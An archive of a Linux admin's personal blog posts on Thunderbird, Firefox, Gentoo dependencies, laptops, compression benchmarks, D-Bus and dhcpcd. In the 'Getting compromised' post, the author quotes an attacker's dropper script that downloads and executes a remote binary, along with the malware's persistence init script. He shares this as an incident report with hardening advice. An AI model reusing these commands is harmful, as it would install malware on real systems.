Wed Mar 18 03:35:39 CET 2015

Upgrading ThunderBird

With the recent update from the LongTimeSuffering / ExtendedSufferingRelease of Thunderbird from 24 to 31 we encountered some serious badness.

The best description of the symptoms would be "IMAP doesn't work at all"
On some machines the existing accounts would be disappeared, on others they would just be inert and never receive updates.

After some digging I was finally able to find the cause of this:
Too old config file.

Uhm ... what? Well - some of these accounts have been around since TB2. Some newer ones were enhanced by copying the prefs.js from existing accounts. And so there's a weird TB bugreport that is mostly triggered by some bits being rewritten around Firefox 30, and the config parser screwing up with translating 'old' into 'new', and ... effectively ... IMAP being not-whitelisted, thus by default blacklisted, and hilarity happens.

Should you encounter this bug you "just" need to revert to a prefs.js from before the update (sigh) and then remove all lines involving "capability.policy".
Then update and ... things work. Whew.

Why not just remove profile and start with a clean one you say? Well ... for one TB gets brutally unusably slow if you have emails. So just re-reading the mailbox content from a local fast IMAP server will take ~8h and TB will not respond to user input during that time.
And then you manually have to go into eeeevery single subfolder so that TB remembers it is there and actually updates it. That's about one work-day per user lost to idiocy, so sed'ing the config file into compliance is the easy way out.
Thank you, Mozilla, for keeping our lives exciting!

Posted by Patrick | Permalink

Mon Feb 2 03:33:51 CET 2015

Mozilla: Hating you so you don't have to

Ahem. I'm mildly amused, Firefox 35 shows me this nice little informational message in the "Get addons" view:
Secure Connection Failed

An error occurred during a connection to services.addons.mozilla.org. 
Peer's Certificate has been revoked. (Error code: sec_error_revoked_certificate) 
Oh well. Why I was looking at that anyway? Well, for some reasons I've had adb (android thingy) running on my desktop. Which makes little sense ... but ... find tells me:
./.mozilla/firefox/badrandomvalue.default/extensions/adbhelper@mozilla.org/linux64/adb
So now there's a random service running *when I start firefox* because ...


err, I might want to " test, deploy and debug HTML5 web apps on Firefox OS phones & Simulator, directly from Firefox browser. "
Which I don't. But I appreciate having extra crap default-enabled for no reason. Sigh.

Mozilla: We hate you so you don't have to

Posted by Patrick | Permalink

Wed Jan 28 06:26:16 CET 2015

CGit

Dirty hack of the day:

A CGit Mirror of git.overlays.gentoo.org

I wonder if the update cronjob actually works ...

Posted by Patrick | Permalink

Fri Jan 23 04:41:33 CET 2015

A story of Dependencies

Yesterday I wanted to update a build chroot I have. And ... strangely ... there was a pile of new dependencies:
# emerge -upNDv world

These are the packages that would be merged, in order:

Calculating dependencies... done!
[ebuild     U  ] sys-devel/patch-2.7.2 [2.7.1-r3] USE="-static {-test} -xattr" 0 KiB
[ebuild     U  ] sys-devel/automake-wrapper-10 [9] 0 KiB
[ebuild  N     ] dev-libs/lzo-2.08-r1:2  USE="-examples -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] media-fonts/dejavu-2.34  USE="-X -fontforge" 0 KiB
[ebuild  N     ] dev-libs/gobject-introspection-common-1.42.0  0 KiB
[ebuild  N     ] media-libs/libpng-1.6.16:0/16  USE="-apng (-neon) -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-libs/vala-common-0.26.1  0 KiB
[ebuild     U  ] dev-libs/libltdl-2.4.5 [2.4.4] USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] virtual/ttf-fonts-1  0 KiB
[ebuild  N     ] x11-themes/hicolor-icon-theme-0.14  0 KiB
[ebuild  N     ] dev-perl/XML-NamespaceSupport-1.110.0-r1  0 KiB
[ebuild  N     ] dev-perl/XML-SAX-Base-1.80.0-r1  0 KiB
[ebuild  N     ] virtual/perl-Storable-2.490.0  0 KiB
[ebuild     U  ] sys-libs/readline-6.3_p8-r2 [6.3_p8-r1] USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild     U  ] app-shells/bash-4.3_p33-r1 [4.3_p33] USE="net nls (readline) -afs -bashlogger -examples -mem-scramble -plugins -vanilla" 0 KiB
[ebuild  N     ] media-libs/freetype-2.5.5:2  USE="adobe-cff bzip2 -X -auto-hinter -bindist -debug -doc -fontforge -harfbuzz -infinality -png -static-libs -utils" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-perl/XML-SAX-0.990.0-r1  0 KiB
[ebuild  N     ] dev-libs/libcroco-0.6.8-r1:0.6  USE="{-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-perl/XML-LibXML-2.1.400-r1  USE="{-test}" 0 KiB
[ebuild  N     ] dev-perl/XML-Simple-2.200.0-r1  0 KiB
[ebuild  N     ] x11-misc/icon-naming-utils-0.8.90  0 KiB
[ebuild  NS    ] sys-devel/automake-1.15:1.15 [1.13.4:1.13, 1.14.1:1.14] 0 KiB
[ebuild     U  ] sys-devel/libtool-2.4.5:2 [2.4.4:2] USE="-vanilla" 0 KiB
[ebuild  N     ] x11-proto/xproto-7.0.26  USE="-doc" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/xextproto-7.3.0  USE="-doc" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/inputproto-2.3.1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/damageproto-1.2.1-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/xtrans-1.3.5  USE="-doc" 0 KiB
[ebuild  N     ] x11-proto/renderproto-0.11.1-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] media-fonts/font-util-1.3.0  0 KiB
[ebuild  N     ] x11-misc/util-macros-1.19.0  0 KiB
[ebuild  N     ] x11-proto/compositeproto-0.4.2-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/recordproto-1.14.2-r1  USE="-doc" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libICE-1.0.9  USE="ipv6 -doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libSM-1.2.2-r1  USE="ipv6 uuid -doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/fixesproto-5.0-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/randrproto-1.4.0-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/kbproto-1.0.6-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/xf86bigfontproto-1.2.0-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXau-1.0.8  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXdmcp-1.1.1-r1  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-libs/libpthread-stubs-0.3-r1  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/pixman-0.32.6  USE="sse2 (-altivec) (-iwmmxt) (-loongson2f) -mmxext (-neon) -ssse3 -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  NS    ] app-text/docbook-xml-dtd-4.4-r2:4.4 [4.1.2-r6:4.1.2, 4.2-r2:4.2, 4.5-r1:4.5] 0 KiB
[ebuild  N     ] app-text/xmlto-0.0.26  USE="-latex" 0 KiB
[ebuild  N     ] sys-apps/dbus-1.8.12  USE="-X -debug -doc (-selinux) -static-libs -systemd {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] net-misc/curl-7.40.0  USE="ipv6 ssl -adns -idn -kerberos -ldap -metalink -rtmp -samba -ssh -static-libs {-test} -threads" ABI_X86="(64) -32 (-x32)" CURL_SSL="openssl -axtls -gnutls -nss -polarssl (-winssl)" 0 KiB
[ebuild  N     ] app-arch/libarchive-3.1.2-r1:0/13  USE="acl bzip2 e2fsprogs iconv lzma zlib -expat -lzo -nettle -static-libs -xattr" 0 KiB
[ebuild  N     ] dev-util/cmake-3.1.0  USE="ncurses -doc -emacs -qt4 (-qt5) {-test}" 0 KiB
[ebuild  N     ] media-gfx/graphite2-1.2.4-r1  USE="-perl {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] media-libs/fontconfig-2.11.1-r2:1.0  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] app-admin/eselect-fontconfig-1.1  0 KiB
[ebuild  N     ] dev-libs/gobject-introspection-1.42.0  USE="-cairo -doctool {-test}" PYTHON_TARGETS="python2_7" 0 KiB
[ebuild  N     ] dev-libs/atk-2.14.0  USE="introspection nls {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-util/gdbus-codegen-2.42.1  PYTHON_TARGETS="python2_7 python3_3 -python3_4" 0 KiB
[ebuild  N     ] x11-proto/xcb-proto-1.11  ABI_X86="(64) -32 (-x32)" PYTHON_TARGETS="python2_7 python3_3 -python3_4" 0 KiB
[ebuild  N     ] x11-libs/libxcb-1.11-r1:0/1.11  USE="-doc (-selinux) -static-libs -xkb" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libX11-1.6.2  USE="ipv6 -doc -static-libs {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXext-1.3.3  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXfixes-5.0.1  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXrender-0.9.8  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/cairo-1.12.18  USE="X glib svg (-aqua) -debug (-directfb) (-drm) (-gallium) (-gles2) -opengl -openvg (-qt4) -static-libs -valgrind -xcb -xlib-xcb" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXi-1.7.4  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/gdk-pixbuf-2.30.8:2  USE="X introspection -debug -jpeg -jpeg2k {-test} -tiff" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXcursor-1.1.14  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXdamage-1.1.4-r1  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXrandr-1.4.2  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXcomposite-0.4.4-r1  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXtst-1.2.2  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] app-accessibility/at-spi2-core-2.14.1:2  USE="X introspection" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] app-accessibility/at-spi2-atk-2.14.1:2  USE="{-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] media-libs/harfbuzz-0.9.37:0/0.9.18  USE="cairo glib graphite introspection truetype -icu -static-libs {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/pango-1.36.8  USE="introspection -X -debug" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/gtk+-2.24.25-r1:2  USE="introspection (-aqua) -cups -debug -examples {-test} -vim-syntax -xinerama" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] gnome-base/librsvg-2.40.6:2  USE="introspection -tools -vala" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-themes/adwaita-icon-theme-3.14.1  USE="-branding" 0 KiB
[ebuild  N     ] x11-libs/gtk+-3.14.6:3  USE="X introspection (-aqua) -cloudprint -colord -cups -debug -examples {-test} -vim-syntax -wayland -xinerama" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] gnome-base/dconf-0.22.0  USE="X {-test}" 0 KiB

Total: 78 packages (6 upgrades, 70 new, 2 in new slots), Size of downloads: 0 KiB

The following USE changes are necessary to proceed:
 (see "package.use" in the portage(5) man page for more details)
# required by x11-libs/gtk+-2.24.25-r1
# required by x11-libs/gtk+-3.14.6
# required by gnome-base/dconf-0.22.0[X]
# required by dev-libs/glib-2.42.1
# required by media-libs/harfbuzz-0.9.37[glib]
# required by x11-libs/pango-1.36.8
# required by gnome-base/librsvg-2.40.6
# required by x11-themes/adwaita-icon-theme-3.14.1
=x11-libs/cairo-1.12.18 X
BOOM. That's heavy. There's gtk2, gtk3, most of X ... and things want to enable USE="X" ... what's going on ?!

After some experimenting with selective masking and tracing dependencies I figured out that it's dev-libs/glib that pulls in "everything". Eh?
ChangeLog says:
  21 Jan 2015; Pacho Ramos  -files/glib-2.12.12-fbsd.patch,
  -files/glib-2.36.4-znodelete.patch,
  -files/glib-2.37.x-external-gdbus-codegen.patch,
  -files/glib-2.38.2-configure.patch, -files/glib-2.38.2-sigaction.patch,
  -glib-2.38.2-r1.ebuild, -glib-2.40.0-r1.ebuild, glib-2.42.1.ebuild:
  Ensure dconf is present (#498436, #498474#c6), drop old
So now glib depends on dconf (which is actually not correct, but fixes some bugs for gtk desktop apps). dconf has USE="+X" in the ebuild, so it overrides profile settings, and pulls in the rest.
USE="-X" still pulls in dbus unconditionally, and ... dconf is needed by glib, and glib is needed by pkgconfig, so that would be mildly upsetting as every user would now have dconf and dbus installed. (Unless, of course, we switched pkgconfig to USE="internal-glib")

After a good long discussion on IRC with some good comments on the bugreport we figured out a solution that should work for all:
dconf ebuild is fixed to not set default useflags. So only desktop profiles or USE="X" set by users will pull in X-related dependencies. glib gets a dbus useflag, which is default-enabled on desktop profiles, so there the dependency chain works as desired. And for the no-desktop no-X usecase we have no extra dependencies, and no reason to be grumpy.

This situation shows quite well how unintended side-effects may happen. The situation looked good for everyone on a desktop profile (and dconf is small enough to be tolerated as dependency). But on not-desktop profiles, suddenly, we're looking at a pile of 'wrong' dependencies, accidentally forced on everyone. Oops :)

In the end, all is well, and I'm still confused why writing a config file needs dbus and xml and stuff. But I guess that's called progress ...

Posted by Patrick | Permalink

Wed Jan 21 11:16:59 CET 2015

Demo Operating Systems on new hardware

Recently I got to interact with two Lenovo notebooks - an E445 with Ubuntu Demo preinstalled, and an E431 with Win8 Demo preinstalled.
Why do I say demo? Because these were completely unusable. Let me explain ...

The E445 is a very simple notebook - 14" crap display, slowest AMD APU they could find, 4GB RAM (3 usable due to graphics card stealing the rest). Slowest harddisk ever ;)
The E431 is pretty much the same form factor, but the slowest Intel CPU (random i3) and also 4GB RAM and a crap display.

On powerup the E445 spent about half an hour "initialising" and kinda installing whatever. Weird because you could do that before and deliver an instant-on disk image, but this whole thing hasn't been thought out.
The Ubuntu version it comes with (12.04 LTS I think?) is so old that the graphics drivers can't drive the display at native resolution out of the box. So your display will be a fuzzy 1024x768 upscaled to 1366x768. I consider this a demo because there's some obvious bugs - the black background glows purple, there's random output from init scripts bleeding over the bootsplash. And then once you login there's this ... hmm. Looks like a blend of MovieOS and a touchscreen UI and goes by the name of Unity. The whole mix is pretty much unusable, mostly because basic things like screen resolution are broken in ways that are not easy to fix.

The other device came with a Win8 demo. Out of the box it takes about 5 minutes to start, and then every app takes 30-60 seconds to start. It's brutally slow.
After boot about 2.5GB RAM are in use, so pretty much any action can trigger swapping. It's brutally slow. Oh wait, I already said that.
At some point it decided to update to 8.1, which took half an hour to download and about seven hours to install. WHAT TEH EFF!

The UI is ... MovieOS got drunk. A part is kinda touchscreen thingy, and the rest is even more confused. Localization is horribad (some parts are pictogram only, some part are text only - and since this is a chinese edition I wouldn't even know hot to reboot it! squiggly hat box squiggly bug ... or is it square squiggly star ? Oh my, this is just bad.
And I said demo, because shutdown doesn't. Looks like the hibernate and shutdown bugs are crosswired the wrong way?
There's random slowdowns doing basic tasks, even youtube video randomly stutters and glitches because the OS is still not ready for general use. And it's slow ... oh wait, I said that. So all in all, it's a nice showroom demo, but not useful.

Installing Gentoo was all in all pretty boring, with full KDE running the memory usage is near 500MB (compared to >2GB for the win demo). Video runs smoothly, audio works. Ethernet connection with r8169 works, WLAN with BCM43142 requires broadcom-sta aka. wl. Very very bad driver stupid, it'd be easier to not have this device built in.
Both the intel card in the E431 and the radeon in the E445 work well, although the HD 8550G needs the newest release of xf86-video-ati to work.

The E445 boots cleanly in BIOS mode, the E431 quietly fails (sigh) because SecureBoot (sigh!) unless you actively disable it. Also randomly the E431 tries to reset to factory defaults, or fails to boot with Fan Warning. Very shoddy, but usually smacking it with a hammer helps.

I'm a little bit sad that all new notebooks are so conservative with maximum amount of RAM, but on the upside the minimum is defined by Win8 Demo requirements. So most devices have 4GB RAM, which reminds me of 2008. Hmm.
Harddisks are getting slower and bigger - this seems to be mostly penny pinching. The harddisk in the R400 I had years ago was faster than the new ones!

And vendors should maybe either sell naked notebooks without an OS, or install something that is properly installed and preconfigured. And, maybe, a proper recovery DVD so that the OS can be reinstalled? Especially as both these notebooks come with a DVD drive. I have no opinion if it works because I lack media to test with, but it wastes space ...

(If you are a vendor, and want to have things tested or improved, feel free to send me free hardware and maybe consider compensating me for my time - it's not that hard to provide a good user experience, and it'll improve customer retention a lot!)

Posted by Patrick | Permalink

Wed Jan 21 10:16:17 CET 2015

Getting compromised

Recently I was asked to set up a new machine. It had been minimally installed, network started, and then ignored for a day or two.

As I logged in I noticed a weird file in /root: n8005.tar
And 'file' said it's a shellscript. Hmmm ....
#!/bin/sh
PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
wget http://432.567.99.1/install/8005
chmod +x 8005
./8005


At this point my confidence in the machine had been ... compromised. "init 0" it is!
A reboot from a livecd later I was trying to figure out what the attacker was trying to do:
* An init script in /etc/init.d
#!/bin/sh
# chkconfig: 12345 90 90
# description: epnlmqmjph
### BEGIN INIT INFO
# Provides:             epnlmqmjph
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    epnlmqmjph
### END INIT INFO
case $1 in
start)
        /usr/bin/epnlmqmjph
        ;;
stop)
        ;;
*)
        /usr/bin/epnlmqmjph
        ;;
esac
* A file in /usr/bin
# file epnlmqmjph
epnlmqmjph: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

# md5sum epnlmqmjph
2cb5174e26c6782db94ea336696cfb7f  epnlmqmjph
* a file in /sbin I think - I didn't write down everything, just archived it for later analysis
# file bin_z 
bin_z: ERROR: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linkederror reading (Invalid argument)
# md5sum bin_z 
85c1c4a5ec7ce3efef5c5b20c5ded09c  bin_z
The only action I could do at this stage was wipe and reinstall, and so I did.
So this was quite educational, and a few minutes after reboot I saw a connection with putty as user agent in the ssh logs.
Sorry kid, not today ;)

There's a strong lesson in this: Do not use ssh passwords. Especially for root. A weak password can be accidentally bruteforced in a day or two!

sshd has an awesome feature: "PermitRootLogin without-password" if you rely on root login, at least avoid sucessful password logins!

And I wonder how much accidental security running not-32bit not-CentOS gives ;)

Posted by Patrick | Permalink

Thu Jan 1 11:59:27 CET 2015

Compression comparison

Random question of the day: How do different compression methods compare?
This fancy miserable graph is the result of a few minutes of scripting around. Red is time, Yellow is size.

Input file was stage3-amd64-20141204.tar.bz2, uncompressed 720MB (tar).
For every compression algorithm I went from compression levels -1 .. -9 and recorded both resulting size and time needed. Amusingly time in seconds and size in MB are in a similar dimension, so the graph fits quite nicely
(Bonus exercise: How much time does unpacking need?)
Edit: Just tested that. So - lz4 takes between 1 and 0.85 seconds to unpack to /dev/zero. Higher compression levels *go faster* - counterintuitive, but fun.
gzip shows the same behaviour with 5.7 .. 5.1 seconds.
bzip2 goes from 27 to 35 seconds, where higher compression levels take longer to unpack.
And xz takes 80 .. 57 seconds, going 'backwards' like lz4.
-End edit -

By far the fastest is lz4, doing over 200MB/s effective. The slowest is xz at around 2MB/s.
But lz4 also only shrinks it to about 50% of the input size, while xz gets it down to 18%. So there's some interesting tradeoffs to be found.

gzip -9 and bzip -1 are roughly comparable for this dataset.
But gzip gets silly slow, so gzip -6 seems to be the best time/space tradeoff.
lz4 also doesn't improve a lot at higher levels, just spends more time.

The clear winner for size is xz, but the compression time is very noticeably higher than the competition. Still, xz -1 is comparable to bzip2 -9 - that's quite amusing.

So, if you're CPU-limited lz4 is best, if you are bandwidth-limited xz is best, and in between there's a wide fuzzy area of tradeoffs.

Oh well, here's the raw data:
	level	time	size
lz4	1	3.4	326
	2	3.5	326
	3	3.5	326
	4	13.5	266
	5	16.3	263
	6	19.6	261
	7	22.8	260
	8	26.8	260
	9	30.6	260
			
gzip	1	15.4	260
	2	16.2	254
	3	20.1	248
	4	21	240
	5	27.8	234
	6	40.7	231
	7	50.3	230
	8	83.3	230
	9	126.6	229
			
bzip2	1	78	218
	2	77	211
	3	77	207
	4	79	204
	5	81	203
	6	80	201
	7	85	200
	8	87	199
	9	91	198
			
xz	1	77	184
	2	103	175
	3	144	167
	4	210	160
	5	276	150
	6	320	149
	7	328	136
	8	340	133
	9	354	132

Posted by Patrick | Permalink

Thu Dec 4 12:23:51 CET 2014

Shrinking stage3

Today I wanted to fetch a new stage3. And I had many disappoint: Sooo big. 200MB for a stage3?
So I started cutting things up and filed some bugs, and the results are nice:
Starting point: stage3-amd64-20141127
Original:   207758877 bytes / 199M
Shrinked-1: 165755734 bytes / 159M
Shrinked-2: 161092189 bytes / 154M
Shrinked-3: 112635928 bytes / 108M
Shrinked-4: 109833196 bytes / 105M
What changed?
First step: Remove two of three python implementations. I think having only python2 is enough for a start - that's a bit over 150MB unpacked just gone.
Changes needed: PYTHON_TARGETS and USE="-python3" during build

Second: Build pkgconfig with USE="internal-glib". This removes the dependency on glib and its mad ball of dependencies for another ~40MB on-disk.

Repacking that gives Shrinked-1
Then I noticed that Python installs tests unconditionally. This is not needed at runtime and barely needed at buildtime, for another 28MB saved. That's Shrinked-2.

Shrinked-3 is Shrinked-1 with xz instead of bzip2; Shrinked-4 is Shrinked-2 with xz instead of bzip2.

So there, within a few minutes I've halved the size of the tarball by pruning unneeded bits ...

Posted by Patrick | Permalink

Sun Nov 23 09:26:01 CET 2014

DBus, FreeDesktop, and lots of madness

For various reasons I've spent a bit of time dissecting how dbus is supposed to work. It's a rather funny game, but it is confusing to see people trying to use these things. It starts quite hilarious, the official documentation (version 0.25) says:
The D-Bus protocol is frozen (only compatible extensions are allowed) as of November 8, 2006. However, this specification could still use a fair bit of work to make interoperable reimplementation possible without reference to the D-Bus reference implementation. Thus, this specification is not marked 1.0
Ahem. After over a decade (first release in Sept. 2003!!) people still haven't documented what it actually does.
Allrighty then!
So we start reading:
"D-Bus is low-overhead because it uses a binary protocol"
then
"Immediately after connecting to the server, the client must send a single nul byte."
followed by
"A nul byte in any context other than the initial byte is an error; the protocol is ASCII-only."
Mmmh. Hmmm. Whut?
So anyway, let's not get confused ... we continue:
The string-like types are basic types with a variable length. The value of any string-like type is conceptually 0 or more Unicode codepoints encoded in UTF-8, none of which may be U+0000. The UTF-8 text must be validated strictly: in particular, it must not contain overlong sequences or codepoints above U+10FFFF. Since D-Bus Specification version 0.21, in accordance with Unicode Corrigendum #9, the "noncharacters" U+FDD0..U+FDEF, U+nFFFE and U+nFFFF are allowed in UTF-8 strings (but note that older versions of D-Bus rejected these noncharacters).
So there seems to be some confusion what things like "binary" mean, and UTF-8 seems to be quite challenging too, but no worry: At least we are endian-proof!
A block of bytes has an associated byte order. The byte order has to be discovered in some way; for D-Bus messages, the byte order is part of the message header as described in the section called “Message Format”. For now, assume that the byte order is known to be either little endian or big endian.
Hmm? Why not just define network byte order and be happy? Well ... we're even smarterer:
The signature of the header is: "yyyyuua(yv)"
Ok, so ...
1st BYTE Endianness flag; ASCII 'l' for little-endian or ASCII 'B' for big-endian. Both header and body are in this endianness.
We actually waste a BYTE on each message to encode endianness, because ... uhm ... we run on ... have been ... I don't get it. And why a full byte (with a random ASCII mnemonic) instead of a bit? The whole 32bit bytemash at the beginning of the header could be collapsed into 8 bit if it were designed. Of course performance will look silly if you use an ASCII protocol over the wire with generous padding ... so let's kdbus because performance. What teh? Just reading this "spec" makes me want to get more drunk.

Here's a radical idea: Fix the wire protocol to be more sane, then fix the configuration format to not be hilarious XML madness (which the spec says is bad, so what were the authors not thinking?)
But enough about this idiocy, let's go up the stack one layer. The freedesktop wiki uses gdbus output as an API dump (would be boring if it were an obvious format), so we have a look at it:
      @org.freedesktop.systemd1.Privileged("true")
      UnlockSessions();
Looking through the man page there's no documentation what a line beginning with "@" means. Because it's obvious!@113###
So we read through the gdbus sourcecode and start crying (thanks glib, I really needed to be reminded that there are worse coders than me). And finally we can correlate it with "Annotations"

Back to the spec:
Method, interface, property, and signal elements may have "annotations", which are generic key/value pairs of metadata. They are similar conceptually to Java's annotations and C# attributes.
I have no idea what that means, but I guess as the name implies it's just a textual hint for the developer. Or not? Great to see a specification not define its own terms.

So what I interpret into this fuzzy text is most likely very wrong, and someone should define these items in the spec in a way that can be understood before you understood the spec. Less tautological circularity and all that ...
Let's assume then that we can ignore annotations for now ... here's our next funny:
The output of gdbus is not stable. If you were to write a dbus listener based on the documentation, well, the order of functions is random, so it's very hard to compare the wiki API dump 'documentation' with your output.
Oh great ... sigh. Grumble. Let's just do fuzzy matching then. Kinda looks similar, so that must be good enough.
(Radical thought: Shouldn't a specification be a bit less ambiguous and maybe more precise?)

Anyway. Ahem. Let's just assume we figure out a way to interact with dbus that is tolerable. Now we need to figure out what the dbus calls are supposed to do. Just for fun, we read the logind 'documentation':
      @org.freedesktop.systemd1.Privileged("true")
      CreateSession(in  u arg_0,
                    in  u arg_1,
                    in  s arg_2,
                    in  s arg_3,
                    in  s arg_4,
                    in  s arg_5,
                    in  u arg_6,
                    in  s arg_7,
                    in  s arg_8,
                    in  b arg_9,
                    in  s arg_10,
                    in  s arg_11,
                    in  a(sv) arg_12,
                    out s arg_13,
                    out o arg_14,
                    out s arg_15,
                    out h arg_16,
                    out u arg_17,
                    out s arg_18,
                    out u arg_19,
                    out b arg_20);
with the details being:
CreateSession() and ReleaseSession() may be used to open or close login sessions. These calls should never be invoked directly by clients. Creating/closing sessions is exclusively the job of PAM and its pam_systemd module.
*cough*
*nudge nudge wink wink*
Zero of twenty (!) parameters are defined in the 'documentation', and the same document says that it's an internal function that accidentally ended up in the public API (instead of, like, being, ah, a private API in a different namespace?)
Since it's actively undefined, and not to be used, a valid action on calling it would be to shut down the machine.

Dogbammit. What kind of code barf is this? Oh well. Let's try to figure out the other functions -
LockSession() asks the session with the specified ID to activate the screen lock.
And then we look at the sourcecode to learn that it actually just calls:
session_send_lock(session, streq(sd_bus_message_get_member(message), "LockSession"));
Which calls a function somewhere else which then does:
        return sd_bus_emit_signal(
                        s->manager->bus,
                        p,
                        "org.freedesktop.login1.Session",
                        lock ? "Lock" : "Unlock",
                        NULL);
So in the end it internally sends a dbus message to a different part of itself, and that sends a dbus signal that "everyone" is supposed to listen to.
And the documentation doesn't define what is supposed to happen, instead it speaks in useless general terms.

      PowerOff(in  b arg_0);
      Reboot(in  b arg_0);
      Suspend(in  b arg_0);
      Hibernate(in  b arg_0);
      HybridSleep(in  b arg_0);
Here we have a new API call for each flavour of power management. And there's this stuff:
The main purpose of these calls is that they enforce PolicyKit policy
And I have absolutely no idea about the mechanism(s) involved. Do I need to query PK myself? How does the dbus API know? Oh well, just read more code, and interpret it how you think it might work. Must be good enough.

While this exercise has been quite educational in many ways I am surprised that this undocumented early-alpha quality code base is used for anything serious. Many concepts are either not defined, or defined by the behaviour of the implementation. The APIs are ad-hoc without any obvious structure, partially redundant (what's the difference between Terminate and Kill ?), and not documented in a way that allows a reimplementation.
If this is the future I'll stay firmly stuck in the past ...

Posted by Patrick | Permalink

Sat Nov 15 05:14:02 CET 2014

Having fun with networking

Since the last minor upgrade my notebook has been misbehaving in funny ways.
I presumed that it was NetworkManager being itself, but ... this is even more fun. To quote from the manpage:
If the hostname is currently blank, (null) or localhost, or force_hostname is YES or TRUE or 1 then dhcpcd
     sets the hostname to the one supplied by the DHCP server.
Guess what. Now my hostname is 192.168.0.7, I mean 192.168.0.192.168.0.7, err...
And as a bonus this even breaks X in funny ways so that starting new apps becomes impossible. The fix?
Now the hostname is set to "localhorst". Because that's the name of the machine!111 (It doesn't have an explicit name, so localhost used to be ok)

Posted by Patrick | Permalink